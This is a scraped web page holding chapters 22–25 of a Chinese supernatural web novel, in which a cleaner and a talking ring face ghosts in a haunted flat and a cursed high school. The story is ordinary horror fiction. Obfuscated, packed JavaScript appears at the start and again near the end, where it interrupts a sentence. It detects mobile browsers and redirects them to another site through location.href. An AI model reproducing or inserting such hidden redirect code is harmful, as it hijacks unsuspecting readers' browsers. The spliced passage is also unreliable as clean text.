;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“今浅你……” 闻啼的话被今浅抛在脑后。 今浅深藏功与名。 大概他在谢谢自己吧。 今浅简单洗漱后,躺回床,伸手扯着被子盖回身上。 当她把手缩回被子的时候,却感觉,手感不对。 今浅又摸了一下。 被子有一片是凹凸不平,滑溜溜的,和她认知里的被子很不一样。 “闻啼,我进入怪谈世界了?”今浅问。 “没有哦。”闻啼否定。 但今浅能听出他语气里的幸灾乐祸。 没进入怪谈世界就好。 今浅很乐观。 她打开手机的手电筒,亮光对准被子,一手掀开。 映入眼帘的,是一张缝在被子上的人脸。 它闭眼,嘴角带笑,像是进入了甜甜的梦乡。 只是在强光的照射下,它的眼皮微微抽搐。 显而易见,它在装睡。 今浅:…… “有的人,可能今晚彻夜难眠了。”闻啼幽幽地说。 他还记着今浅在睡前,放一圈玩偶围在他旁边盯着他这件事。 “那不至于,我睡眠质量很好的。”今浅解释着。 只有被子内侧有张人脸,外面还是正常的。 今浅把被子翻了一面,让人脸朝外。 她躺会床上,把被子盖住肚脐眼,闭眼准备入睡。 闻啼正准备嘲笑今浅嘴硬,结果没过一会儿,就听见了今浅均匀入睡的呼吸声。 闻啼:…… 被子人脸:…… 22. 第 22 章 闻啼万万没想到,今浅居然真的能在这种情况下睡着。 他刚想说些什么,但忽然,身后吹来了一阵风。 围在他周围的玩偶影子轻轻摇晃,就像是张牙舞爪的鬼影。 闻啼记得,今浅在睡前,特地关上了门窗。为了省钱,她也没有开风扇开空调。 门窗是紧闭的。 那么,风是哪儿来的? 闻啼私有所感,慢慢抬头。 然而再往上,视线是一片漆黑。 有个东西盖在了自己的身上。 闻啼顿了顿,突然想到,今浅摆在他身后的那个兔子玩偶,头上戴着一个帽子。 他安慰自己:可能是帽子。帽子不稳,不小心掉在自己的身上。 下一刻,一阵风刮过来,那个盖在自己身上的“帽子”移开了。 闻啼恢复了视野,这才看清,方才盖在自己身上的,是一块红布。 闻啼一顿。 他记得,兔子玩偶的帽子是黑色的。这些玩偶里面,也没有红色的布料。 那么,这片红色的布,是哪里来的? 闻啼像是不受控制一般,顺着细长的红布慢慢往上看。 那块红布是被吊在天花板上的。 红布周围是一圈深黑的斑纹,是楼上防水没做好,漏水发霉后的产物。 可是,他所在的凶宅,是在顶楼。 楼上没人。 似乎是想印证闻啼心中所想,那圈深黑的斑纹生长出许多黑色缝线,四处扩散至整个天花板。 细长的红布变得灵活,像长长的舌头,不受控制地探向闻啼所在的位置。 闻啼惊骇。 这条红舌头,是要吃了他! 但他只是一个被放在桌子上的戒指,不能滚动! 闻啼用尽全身力量,也只能微微移动。 好在今浅睡前在闻啼旁边围了一圈玩偶,现在用作他的掩护,帮他抵挡红舌头的攻势。 红舌头接二连三地搜寻,都落到了周围玩偶的身上。 闻啼松了口气。 还好这条红舌头没有长眼睛。 这口气松太早了。 红舌头变得不耐烦。天花板上的霉斑也跟着暴躁,它周围的黑色缝线慢慢扩大,膨胀,宛如正被生长的蘑菇。几乎是一瞬间,天花板上就长满了大大小小的黑色肿瘤。 蘑菇成熟的时候,会张开菌盖。 黑色肿瘤成熟的时候,正中心的缝隙,会慢慢打开,变成一个个大小各异的,眼睛。 闻啼不语,只是一昧地装死。 他从来没有像这一刻一样,希望自己真的是一个戒指。 然而,希望终究是会落空的。 眼睛们的眼珠毫无章法地在整间房子里搜寻,最后,齐刷刷地定格在了一个奇怪的素白戒指,闻啼身上。 闻啼:…… 现在假装自己是死的已经来不及了。 闻啼心里清楚,要想躲避红舌头的追捕,他就必须得,躲在一个天花板上的眼睛看不见的地方。 就比如,床底下。 红舌头就像有了主心骨,以迅雷不及掩耳之势朝他刺去。 然而,舌头终究是比戒指大了太多,只是这么轻轻一扫,闻啼就被甩飞,腾空。 好机会! 闻啼趁机调整自己的身位,在红舌头还没有反应过来的情况下,把自己调整成可以滚动的圆环,朝向床的方向。 在自己碰到地面的那一刻,闻啼核心发力,迅速滚进了今浅的床底,动作毫不拖泥带水,一气呵成。 天花板上的眼睛顿时失去了闻啼的视线,红舌头也变得没有章法。 闻啼心底的石头终于落下。 可还没等他反应过来,闻啼突然听见一阵的脚步声。 “咚……咚……咚……” 就像重物撞击地面的声音,正在有规律地朝他走来。 凶宅里,不止有人面被子,和天花板上的霉菌,这两种鬼怪。 第三种鬼怪,正在来袭。 “啊啊啊啊啊啊今浅今浅,你快醒醒!”闻啼在床底下大喊,急切催促今浅醒来,“有鬼!这座凶宅里有鬼!” 床上人的安然不动,甚至还有空翻身。 “嘎吱”一声,质量极差的床板抖落了几层灰,落到闻啼身上。 好在闻啼只是个戒指,不会被呛到。 闻啼心里有点绝望,最后只能安慰自己:就算鬼来了,也看不见躲在床底下的他。 他提心吊胆,只能努力把自己往床底挪动。 那阵“咚咚”的脚步声停下,来到了他的面前。 闻啼调整身位,面向那只“鬼”,看到的却不是离地的双脚,而是一个漆黑的球形物体。 为什么是球形? 疑惑在他脑海里闪过。 那个球形物体慢慢地转动,最终,露出它的真实面貌。 一个倒立的,沾满血迹的人头。 闻啼:…… 所以,刚才“咚咚咚”的,不是脚步声,而是这只倒立鬼,一边用头撞击地面,一边来到这个房间。 似乎是看见了闻啼,倒立鬼很是激动,叽里咕噜地朝他过去,可是闻啼躲在床地里面,它碰不到。 一时半会儿,倒立鬼只能撞床,试图把床推后几分,露出里面的闻啼。 床被撞得接二连三地后推,不时发出即将散架的呜咽。 闻啼默默后退,但自己卡在一个缝隙里,无法滚动! 倒立鬼越来越接近闻啼,闻啼退无可退。 而床上的今浅,依旧安睡。 闻啼终于忍不住,说:“今浅,你快醒醒!有人来偷东西了!” “什么?”床上的今浅猛地坐起,“是谁要偷走我的38.25元的血汗钱?!” 闻啼:…… 感情他还比不上38.25元是吧?! 天花板上的眼睛却迅速闭上,黑线和霉菌迅速消失。 红舌头太长了,回去的速度太慢,卡在中间。直到红舌头抽了几下快要消失的霉菌,霉菌又打开一条缝,红舌头才进入消失。 来不及躲藏到床底的倒立鬼虎躯一震。在沉默片刻后,它翻转了180度,用着不熟练的人话说:“窝……不是……人,窝其实……是……是鬼。” 闻啼:……? 不是,既然它能用腿行走,那又为什么用头撞地面移动呢? “鬼也不能偷东西。”今浅说,“我好不容易才赚了38.25元。你把钱拿走了,我怎么办呀?” 倒立鬼的身形颤抖,弱弱地说:“窝……也妹想偷……偷……钱……” “啊,原来不是小偷啊。”今浅松了口气,再次躺回床上,“那没事了。” 凶宅有鬼,很正常的。 差点吓得她就要报案保护自己的巨额财富。 倒立鬼却在原地颤抖。 它脸上的血流得越来越多,面皮也在一层一层的剥落, 就在闻啼以为倒立鬼会放大招的时候,倒立鬼“嘤”的一声,掩面逃跑了。 房间里终于恢复了平静。 “果然,无论我多么努力,都无法叫醒一个装睡的人。”床底的闻啼冷漠开口。 短短一个晚上,他就已经体会 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可是今浅的手很温暖,很柔软。和刚才冷冰冰的地板,和一阵阵阴风完全不同。 闻啼莫名委屈。 他的眼眶微红,鼻腔发酸。 但他安慰自己。 还好,他只是一个戒指,不然这个样子被今浅看见了,又得被今浅嘲笑了。 今浅从厕所接了一杯热水,准备把闻啼放进去时,顿了顿,说:“咦,闻啼,你难道是……被吓出一身冷汗了?” “是被你气的。”闻啼说。 “好叭。”今浅叹气,把闻啼放进水里,说,“那你泡个澡,消消气吧。生气对身体不好。” 隔着玻璃杯和水,闻啼觉得今浅的神情和声音都变得格外温柔。 闻啼一顿,随即疯狂甩头,企图把这个想法甩出脑海。 一定是刚才的鬼怪太吓人了,才会让他产生今浅温柔这种错觉! 但今浅最后还是把他从床底捡起来了。 也许是泡澡确实可以缓解心情,闻啼觉得,自己似乎并没有刚才那么生气了。 如果今浅等会儿说出装睡的原因,他也可以试着理解。 闻啼胡思乱想,一旁今浅起身。 她重新回到床上,掖好被子,直到呼吸变得均匀,显然已经熟睡。 也显然把他忘得一干二净。 被子上的人脸和闻啼大眼瞪小眼。 闻啼:…… 他到底在期待什么?!! 清晨,在闻啼的强烈请求下,今浅终于把他带出家门。 昨晚装玩偶的袋子里有一根附赠的麻绳。今浅用绳子绑住戒指,就变成了一条结实的项链。 按照导航,走路过去只有15分钟。 清晨的雾气很浓,十几米外就看不清理。 赶路的今浅往周围瞥了一眼,脚步一顿。 白雾里有两个一样瘦高的黑影,一个一动不动,另一个则僵硬地朝她挥手。 今浅正想抬手打招呼,忽然她看清楚,一动不动的影子,是水泥电线杆。 根据目测,那根电线杆的高度大概是七米。 人会跟电线杆一样高吗? “怎么了?”缩在今浅怀里补眠的闻啼惊醒,他茫然环顾四周,说,“周围是有不对劲的地方吗?” “没事。”今浅收回目光,“你补觉吧。我要赶紧去学校上班了。” 可能是她眼花了,把树木错看成人影。 话虽如此,今浅不留痕迹地挡住闻啼看过去的视线。 23. 第 23 章 今浅快步离开。 那道瘦长的黑影并没有跟上,只是站在原地盯着她,目送她的身影消失在校门口中。 今浅工作的学校,叫做百年高中。 巧的是,蔡阿姨也是在这个高中当老师的。 当今浅赶到校门口的时候,领班已经等候多时。 “领班,我来了。”今浅小跑到领班面前,“应该没有迟到吧。” “没想到都发生了这样的事情,还会有人来应聘。”领班嘟囔着。 “什么事情呀?” 领班一顿,瞥了今浅一眼,说:“新人,既然来了,那就知道,有些话应该说,有些话不该说。” 今浅点头。 领班指着操场那片区域,说:“那里就是你要打扫的地方。上班的时间和工作的内容已经在昨天聊的时候告诉你了,我就不多说了。 不过要注意,晚上7点半之前,必须离开学校。” 今浅一愣,而领班没有多说什么,只是快步离开。 “闻啼,这个学校有点古怪。”今浅小声说。 “我也觉得。”闻啼说,“领班这态度,很像在隐瞒什么。我等会儿打听一下。” “你能行吗?” “我只是不能操控戒指移动,但可以以灵魂的方式游荡。只是不能离本体太远。”闻啼说,“刚才领事的样子,明显说明了这个学校有禁忌。如果你不工作,被领事发现,有可能会被骂。那就不太好了。” 闻啼说完,就飘走了。 今浅回到工具间,按照入职要求,扎好头发,戴好口罩,穿好工作服。 她负责的位置是操场附近的厕所、小树林和工作间。 这些地方似乎很偏僻,没有多少人,工作量也不高。 今浅也乐得自在。 过了一会儿,闻啼飘回来了。 “这个学校确实不太对。”闻啼神色凝重,说,“听说,这里每年都会死十几个人。这段时间人数更多,但外面似乎没人觉得这所学校有异样。” “难道是怪谈?”今浅猜测。 “如果真的是怪谈,那就很糟糕了。看样子吃了不少人。”闻啼说,“唯一值得庆幸的是,我们刚离开K404怪谈,在进入下一个怪谈前,有一段较长的冷静期。” “昨晚凶宅出现了鬼怪,算是异样吗?” “那些鬼怪跟这所学校无关。”闻啼说,“直到目前,我还没有感觉到‘引路人’的靠近。” 今浅若有所思。 看来今早的瘦长黑影并非‘引路人’,那么它的目的又是什么? 剩下的时间,闻啼又逛了一圈,成功带回来很多信息。 百年高中以前教学设施很破旧,生源差,导致师源也差,升学率低,市里批下来的经费变少,于是教学设施更破旧,生源更差,百年高中就陷入死循环。 而自从五年前,新校长上任,颁发了一系列的校训校规。百年高中一扫颓势,成绩和升学率节节攀登,最终逆袭成了本市的名校。 成功的代价,自然离不开其背后的高强度学习。 没有寒暑假,没有周末双休。高考完的第一天,全体高二无缝接轨高三模式,全体高一无缝接轨高二教学进度。 这也能理解,为何百年高中的学生死亡率很高。 可为何,没人觉得异样呢? 下午七点,今浅收拾好工具后,准备离开。 当她经过厕所的时候,突然听见一些奇怪的声响。 “有好多人在里面,里面乱七八糟的。”闻啼皱眉,“看样子,是校园欺凌。” “什么?居然敢在我的地盘撒野,还把里面弄得乱七八糟?!”今浅撸起袖子,不等闻啼说话,直接推开门。 里面一片烟雾缭绕,几个人或站着或坐着,围着一个穿着长袖长裤的女生。 见今浅来了,他们也不恼,为首的人只是冷笑一声,看回中间的女生:“向潇湘,这就是你找的帮手?” “吴林,你我的事情,与无辜的人无关。”向潇湘直视吴林。 “你说无关就无关?”吴林看向门口的今浅,不屑地说,“新来的?知道我是谁吗?” “现在,立刻,停下来,离开。”今浅言简意赅。 “如果我说不呢?” 今浅抄起旁边的拖把。 “你不会是想用拖把打我们吧。哈哈哈别天真了……” 吴林话音未落。 “咔嚓”一声。 今浅面不改色地把拖把折断了。 吴林等人:…… “谁想来试试?”今浅扫了一眼众人。 没人搭话。 “既然如此,现在离开。”今浅说,“以及,带上你们制造的垃圾。” “行行行,既然今天有人英雄救美,那么我们现在暂时放过你。”吴林拍了拍沉默的向潇湘,给旁边的黄毛一个眼神。 黄毛点点头,意味不明地嘱咐向潇湘,说:“老时间,见面。” 随后一群人浩浩汤汤地潇洒离去。 今浅说:“你没事吧?” 向潇湘摇头,迟疑片刻后,问:“你是……新来的保洁吗?” “是啊。” “难怪不怕他们。”向潇湘苦涩地说,“他们有权有势,你惹不起。帮了我,你的麻烦会很大。” “那又如何。”今浅叹气,“我总不能不管吧。” “……七点半之前,请你离开学校。”向潇湘垂下眼眸,抬脚离开,在门口处停下来。 “以及,下此不要再插手管这件事了。”她说完这句后,直接离开。 今浅一愣,摸不着头脑。 “我们快走吧。”闻啼说,“在摸清楚发生了什么之前,还是最好遵守规定吧。” “也只能这样了。”今浅抓紧时间,踩在七点半的最后一秒,离开学校。 同一时刻。 黄毛几人堵住向潇湘。 “你很拽啊,居然赶叫帮手。”黄毛冷嘲热讽,“害得我今天在吴哥面前丢了脸。” 向潇湘不说话,只是低头。 “老大问你话呢,装什么聋啊?”跟班一号不耐烦,上前推了向潇湘一把。 可没曾想,向潇湘顺着他的力道,后仰倒在地上。头着地,磕到了台阶。 清脆的碰撞声后,头部的鲜血慢慢扩散。 众人被这突如其来的变故弄得愣在原地。 过了许久,向潇湘都没有动静。 “大……老大,她好像,好像被打死了。”跟班1号吓得六神无主,双腿一软,瘫倒在地。 “什么?你不就只是推了她一下吗?”黄毛皱眉,他走上前,蹲在向潇湘的面前。 今晚月色诡异的安静,照在向潇湘的脸上,仿佛眼前这位女子只是昏昏沉沉地睡了过去,而并非遭受了任何的伤害。 黄毛犹豫片刻,伸出食指,试探她的鼻息。 几秒后,黄毛的脸色瞬间煞白。他跌倒在地,神情慌乱,不知如何是好。 “老大,我们不会真的……”跟班二号咽了咽口水,擦去额边的冷汗。 “别慌。”黄毛深吸一口气,努力平复自己的心情,心一横,故作冷静地说:“我们埋了她。” 此话一出,在场的所有人全部陷入沉默。 黄毛知道,自己这番话惊世骇俗。 但为了前程,除了悄悄处理尸体以外,还有什么更好的方法? 黄毛冷静分析局面,说:“操场后面,有一片小树林。小树林有一个工具房,除了常见的扫帚工具,还有用于种绿植的铲子。我们三个人,正好可以挖出一个坑,把她扔进去。” 越是到了这个时候,黄毛的思路却愈发清晰,仿佛冥冥之中有人给他指引了这条路。 跟班二号嘴唇发白,六神无主,说,“可是……可是如果有人发现了,那怎么办?” “不会有人发现的。”黄毛看向跟班二号,说,“那个小树林,除了保洁,没有任何人敢进去。再者,前段时间,学校刚好翻新,重新种了一排绿植,正好土的颜色很新。” 沉默已久的跟班一号站出来。 “好,我们开始吧。”他说。 跟班二号震惊地看向跟班一号,后者不敢看他的眼睛,只是低声说:“我们三个人,都是一条船上的蚂蚱。这件事情捅出来之后,完蛋的是我们几个。现在法律已经改了,我们就算是未成年,也得负起刑事责任。” “还是说,你是想跟警方通风报信?” 跟班二号立马摇头,“不是,我没有。” 他跟着黄毛有一段时间了,多多少少也是知道黄毛手段有多么恶毒,而黄毛又有多么心狠手辣。 “那行。”黄毛笑了一下,说,“既然没人反驳,那我们就开始动手吧。” 他和跟班一号一起抬起地上的向潇湘,见跟班二号仍然愣在原地,说:“过来搭把手。” 跟班二号回过神来,应声上前,帮忙扶着向潇湘的身子。 但毕竟他不太熟练,一不小心,就把向潇湘的手臂磕到地上。其他人也没反应 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她没死多久,刚才又磕碰了一下,此时头顶上的血液缓缓爬过她苍白的脸颊,毫无情感的双眼阴森森地盯着正在挖坑的黄毛身上。 黄毛抬眼时不小心对上她的眼睛,只觉毛骨悚然。他顿了顿,和跟班二号换了个位置。 也许是恐惧的作用,他们挖坑的速度非常快,很快就挖出了一米深的坑。 最后,他们抬着向潇湘,吧她扔进坑里。 带着腥味的湿土接二连三地倒进坑里,慢慢地盖住了尸体。 几人填完坑后,多踩几遍压实土壤。 “这样……应该好了吧。”跟班一号不确定地说。 “总之,今晚这件事情过后,我们谁都不知道发生了什么。”黄毛虚张声势地扬起拳头,威胁在场的各位,说,“她的死,跟我们没有半点关系,懂吗?!” 其他人心照不宣地点头,在夜色的掩护下,各回各家。 雨越下越大。 黄毛躺在床上。 鼻尖似乎仍有如影随形的土腥味。他只觉得雨声很吵,像是在他的耳边,离他很近的位置。那种急促的声响让黑暗变得令人窒息,焦急,烦躁。 手指似乎仍有刚才挖坑时候黏糊糊的触感,泥浆混杂着血浆,逐渐凝固,如同瓷器上逐渐干涸的外釉。 黄毛有点冷,下意识想捂住耳朵,可一股大力让他几乎难以抬手。 “怎么回事?!”黄毛惊慌,剧烈地挣扎。 可随后他绝望地发现,不只是手,整个人都无法动弹。 “老大,你怎么在我身上?这是怎么回事?我们怎么在坑里?!”跟班一号的声音也响起。 一个难以置信的猜想划过黄毛的脑海。 他们被埋进了土里! 黄毛骇然,绝望大喊:“来人啊……快救救我们!” 然而隔着厚厚的土壤,无人听见他们的话。 ** 小树林,一片空地。 一个女生正靠着树,看向坐在空地上的那个“人”,一言不发。 她的身上仍有着土渍,看样子,就像是刚从土里爬出来的。 如果黄毛现在还在这里,他一定能认出来,女生是他亲手挖坑埋的向潇湘,而那个“人”,则是“跟班二号”。 跟班二号盘腿坐在空地上,全然没有刚才的害怕,只是笑眯眯地回看向潇湘,说:“真是个狠心的人类。居然眼睁睁地看着你的同伴就此死亡。” “人各有命罢了。”向潇湘漫不经心地说,“如果他们没有起杀心,没有想活埋我,我的能力也就无法使用,他们也就不会死。” “果然,比起那些蠢笨的游戏,我还是更愿意跟你这种聪明人合作。”跟班二号笑着说,“怪谈世界只能有一个人离开。你负责拉其他人进来,我负责吃掉他们。最后离开的,只能是你。” “其他的我不在乎。”向潇湘双手环抱,抬头看着月亮,淡淡地说,“只要那些人能死就行了。” “当然可以。”跟班二号说,“不过跟现在这种小打小闹可不一样。你还得在他们身上种下诅咒,让他们就能进入真正的领域。” 脚底下的呼喊声逐渐减弱。 跟班二号眼前一亮,慢慢融进了土壤里。 一旁白光闪过,向潇湘弹去身上的尘土,走向出口。 在罪恶横行的世界里,有人身负罪恶而不知。 永远不要心怀侥幸。 身负罪恶的人,终究会被身上的罪恶吞噬。 24. 第 24 章 同一时间内,凶宅里。 今浅正在和房东聊天。 “你昨天晚上,难道没有遇到什么怪事嘛?”房东站在门口,面色迟疑。 “啊,应该有吧。”今浅没有把话说完,语气含糊,“但可能我睡得太死了,什么都没有感觉到。” 再奇怪的事情她都已经经历过了,更不用说,身边还跟着一个会说话的戒指。 “这样……迟钝也确实是个好事呢。”房东低下头,不知道在想什么。 今浅接受转账,看见金额后,猛然抬头看着房东,说:“你怎么——” 给了她7天的钱。 “如果您住到7天后,还会有额外的奖励。”房东笑着说,“以及,晚上不要随便给陌生人开门。” 房东率先告辞离开,今浅关上门。 门被合上的那一瞬间,今浅动作微顿。 “门口好像有东西在靠近。”闻啼皱眉。 今浅问:“你能看清那个东西的样貌吗?” “不能。外面是一片黑的,但我听到了脚步声。细细碎碎的,好像有很多。”闻啼说,“刚才房东的话,你也听到了吧。你小心点,不要随便给陌生人开门。” “放心,我很小心的。”今浅说,“我高考数学检查了五遍才交卷。” “……第16题答案是什么?” “C。”今浅自信。 “?第十六题是填空题。” 今浅:!! “我当然知道是填空题。”今浅说,“我故意说错答案,只是为了看看你的反应。” 闻啼无语,正想说些什么,突然眼前一片漆黑。 今浅蒙住挂在胸前的戒指。 “你在做什么,今浅?!” “我在手动打码,给你做个心理准备。”今浅说,“你可能也不想面对这个人。” “难道是刚才的房东?我就知道他心里有鬼!可是,房东不是已经走了吗?” “是个熟人。”今浅说,“不知道什么时候进来的。” “熟人?难道是你那个吃我身体的朋友?骗走我钱的江湖骗子?”闻啼说,“总不可能,是你离开学校前,帮助的那个奇怪女生吧?但他们之中,应该没有任何一个知道我们的住址。” “都不是。”今浅松开捂住闻啼的手。 他们站在门前。 门口右手边,就是厨房的火灶。 此时,火灶上面躺着一个人。 灶台上的火,不知何时自动点燃,包围了那人的全身。 似乎是察觉到他们的视线,这个人抬手,朝他们挥挥手。 闻啼:…… “那就很熟了。”闻啼说,“或者说,这已经不是人类的范畴了吧。” 据他所知,没有人会睡在燃烧的煤气灶台上吧。 熟鬼刚想开口,今浅抬手,转动旋钮,关火。 那个人随着火焰抖动一下,迅速消失。 “好了,我们还是早点睡吧。”今浅锁好门,转身进入房间,顺手锁门。 “今浅,这间凶宅可不像是简单的凶宅。”闻啼面色凝重,“我们天一亮就立刻离开。正好咱手上就有了点钱,可以短租个房子,虽然房子可能差一点,但也勉强能撑过一段时间……” 并非闻啼不想立刻离开。他只是察觉到,凶宅的门口仍然有些怪物,它们既没有离开,也没有推门而入。 房东说了,晚上不要给陌生人开门。 如果他们现在就想离开,必须得开门,变相违反了房东说的话。 “可能不行。”今浅说,“那个房东刚才一口气给了我们7天的价钱,我们必须得住够7晚。” “不能还回去吗?” “这也正是我刚才想尝试。”今浅看着手机,她还没有关掉转款时屏幕跳出的提示框。 “但现在看起来,似乎行不通。” 灰色的提示框显现着红色的字。 【该用户不存在,转款失效。】 “那就糟糕了。”闻啼说,“没想到我们才来城市,就碰到两个棘手的事。这下可能难搞了。” 不出所料,凶宅和百年高中,可能都是怪谈。 “嗯,确实很糟糕。” 今浅把闻啼摘下来,放在枕边,随后,上床,盖被子,闭眼睡觉。 见今浅如此淡定,闻啼多了点好奇:“今浅,你难道已经有了解决方法吗?” “没有。”今浅闭眼,老神常在。 闻啼:…… “今浅,你就不着急吗?”闻啼只觉得自己脑壳疼。 他在担心今浅的安危。 而今浅居然有心思,在这个时候睡大觉。 “着急啊,我好着急。”今浅翻身,说,“但着急没用。” 事已至此,还是先睡觉吧。 闻啼:…… 他从未见过心理素质如此强的人,一举一动都在摆烂。 门口传来了敲门声。 闻啼身形一顿,警惕地看向门口。 “别紧张,睡吧。”今浅开口,“只是第二天,它们还进不来。” “这么说,难道你已经……” “嘘。”今浅说,“你只需要相信,睡着了,就不会把那些鬼怪引过来。” “可这种情况,怎么能睡着……” 也许是今浅的话带来的心理作用,闻啼说完后,就只觉得困意逐渐席卷大脑。 今晚夜色很美。 门外敲门声变成了剁肉声,又变成了砍门声,呼喊声,求救声,哭泣声。 但是,唯一没变的,便是 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做早餐,应该不需要将五谷杂粮,水果,蔬菜,全部都放在一个榨汁机里,然后,加入糖,油,盐,酱油,水,开始,榨汁,吧? 闻啼惊骇。 他看着今浅娴熟的动作,感觉眼前的事物比他以往见过的鬼怪还要可怕。 “你你你你你就吃这些?”闻啼瞠目结舌,说出来的话也结结巴巴的,“你难道在减肥?” 他一定是还没有睡醒。 “啊,我一直都是这么做的呀。”今浅疑惑,“大家不都是这么做饭的嘛?只不过我的卖相不太好看而已。” 榨汁机“嗡”一声开始工作。 “这已经不是卖相好不好看的原因了。”闻啼说,“你爸妈都是这么给你做饭的?” “他们不经常回来。”今浅说,“做饭啊,很简单呀,把菜切碎,然后加油盐酱醋,再加热。” 她只不过是把这些步骤全部都简化成了一个而已。 正说着,榨汁机里不明颜色的,食物已经做好了。 闻啼就在旁边这么看着今浅将这些黑暗料理吃得一干二净,最后留下一句:“味道还行,就是有点咸了。” 闻啼:…… 他可算是知道,为什么今浅会喜欢吃东西了。 仍谁吃这些黑暗料理,都会觉得正常的饭菜很好吃吧。 她是真的不挑啊。 “你能长到这么大,也是个奇迹了。”闻啼说。 今浅出门去学校。 这次路上,她没有再看见那个黑影人。 25. 第 25 章 站在校门口的领班此时面色阴沉,看起来心情很糟糕。 今浅脚步一顿。 她昨天,好像得罪了一帮人。 虽然自己按照员工要求穿戴得很整齐,但看那群人似乎有权有势,用些小手段调查自己而后投诉到领班这里,也不是不可能。 看领班的阵势,似乎是要开除自己。 今浅并不在意这份保洁工作,她也不会后悔自己做过的任何事情。 她只是比较担心这所高中发生的“怪事”。 今浅进过怪谈世界,本身就会比其他人更容易被怪谈世界选中。 如果今浅真的倒霉,再次进入了怪谈世界,她也并不会觉得很不可理解。 但如果这种怪力乱神的事情牵扯无辜的人,今浅只会觉得是自己没有提前把问题解决,让那些无辜人白白成为怪谈鬼怪的口粮。 所以,就算领班再怎么不满,她也有不得不留下来的理由。 今浅垂眸,细细思索接下来的对策。 书上说了,伸手不打笑脸人。 这么说,只要她…… 在领班看向今浅的那一瞬间,今浅扬起灿烂的笑容,说:“早上好呀,领班。” 领班一顿,然而脸色更差,说:“你知道你昨天都干什么了吗?” 今浅瞳孔微缩。 可恶,难道这都不能糊弄过去吗。 她果真还是不太适合撒谎啊。 既然如此,她就只能放大招了。 领班只看见眼前的人沉默片刻后,迅速滑跪,声泪俱下,悲痛欲绝地请求:“领班,我知道错了!请再给我个机会吧。” 领班:……? 今浅泪眼汪汪地说:“领班,我从乡下来的,啥也不懂,被很多人嫌弃。但只有您大发善心,给我一个工作的机会,让我第一次体会到了‘家’的感觉。” “……你也才来这里工作不到一天好吧。” “是啊,领班。仅仅不到一天的时间,我就对这份工作产生了深深的热爱。”今浅说,“一切都是领班您的功劳啊。没有当时的您,就没有现在的我。求求您,千万不要开除我啊!” “你想哪儿去了?”领班被今浅这么一搅和,倒是狠不下脸,他扶额,说,“我只是想提醒你,工具间的地板到处都是土渍,又脏又乱。你等会儿去清理一下。” “土渍?”今浅一愣。 “对啊。而且还有一把断掉的拖把。你到时候找个时间,去领一把新的。”领班叹气,说,“看样子是那些不良学生偷偷摸摸又在那里干架,还搞得乱七八糟。” “这群学生也真是的,明明规定了晚上七点半前要离开学校,却公然违反规定,打完架也不收拾,徒增我们的工作量。” “没办法,毕竟找死的人很多。”领班面色缓和,显然今浅吐露了他的心声,“工作量大,学校经常少人。要不是在校职工的子女都能进入这所重点高中,你以为我愿意在这所邪门的学校呆着么。” “邪门?我才不信呢。”今浅抓住了重点。 “那你可真是天真了。”领班苦笑,“知道为什么不能在晚上七点半后还呆在学校吗?” “为什么呀?” “这所学校不是经常死人吗?死去的人怨气太大,就变成了无头红鬼,断手鬼,断脚鬼,剖腹鬼。” “这听起来很像那些不入流的古早恐怖故事。总不可能真的会有人相信了吧。” “……一开始,我是不信的。”领班不知道看到什么,面色骤变,突然给了今浅一个眼神,随即转身就走。 今浅立刻领会,小步跟上。 领班一边往后看,一边加快脚步,呼吸不由自主地急促起来:“别回头,后面有东西。” 他们只是闷声往校内走。 今浅没有回头,但是周围是教室,玻璃窗反光,正好倒映出她身后的东西。 一个,瘦长的黑影人。 正在以极快的速度,追赶他们。 似乎是受到了某种限制,它用尽全力,也只能靠近今浅身后的十几米外。 今浅顿时明白,为什么她今早没看见那个黑影。 因为那个黑影一直跟在她的身后。 领班带着今浅,绕过好几个转角,终于回到了一个小房间。 地上很多土渍,墙上挂着很多的清扫工具,这就是那个工具间。 领班迅速关门,身形止不住地颤抖,就像看见了极为恐怖的东西,说:“那个东西,又出现了!” “怎么了,领班?”今浅故作不解,“发生什么事情了?” “不瞒你说,我刚才说的那些,都是真的。”领班双脸惨白,声线颤抖,“因为我有一次,就留在学校,超过了七点半。” 他永远都忘不了那一晚。 领班叫黄立。 当时,黄立按照学校的要求,填报自己孩子的信息,事情结束时,已经到了八点。 黄立离开办事大厅,天有些冷。 头顶上的云层很厚实,阴沉,是即将下雨的前兆。 黄立早就听说过“晚上七点半之前要离开学校”,但是他是无神论者,不相信这些有的没的。 直到,他在离开学校的必经之路上,看见了无头红衣鬼,蹲在路灯下,在拥抱一个人。 黄立一惊,想假装自己只是普通的路人。 无头红衣鬼没注意到他,让他松了一口气。 然而在路过无头红衣鬼的时候,黄立还是用余光瞥了一眼。 “那只鬼居然是在吃尸体。”黄立再次想到,只觉惊悚,“它的胸膛全都是嘴巴!如果不是我跑得快,它早就要追上我。” “听起来好可怕。”今浅说。 “从那以后,我虽然逃出来了,但感觉周围好像有些不对的地方。”黄立苦笑着说,“你可能觉得我疯了。我有时候也是这么觉得的。但如何才能界定什么是幻觉,什么是真实呢?” “不必太怀疑自己,说不定,这些东西是真实存在的。”今浅说,“就比如刚才,你走得很匆忙,想必是看见了什么吧?” 也许是向今浅吐露了心声,真正有人愿意相信自己,黄立轻松多了,激动的同时有些语无伦次:“是啊,刚才是黑影,一直跟在我们后面。我以前以为它是死的,也许是真的死的吧,但它会动了。被它触碰到的人,一段 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16169214|179280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间后,就再也没有出现了。” 所以刚才黄立才走得那么慌忙,生怕那个黑影盯上了自己。 今浅想到自己昨天早上还跟那个黑影打招呼,今天就被黑影追着杀,不由得在心里感叹自己的命途多舛。 看来,那个黑影,其实是在针对自己啊。 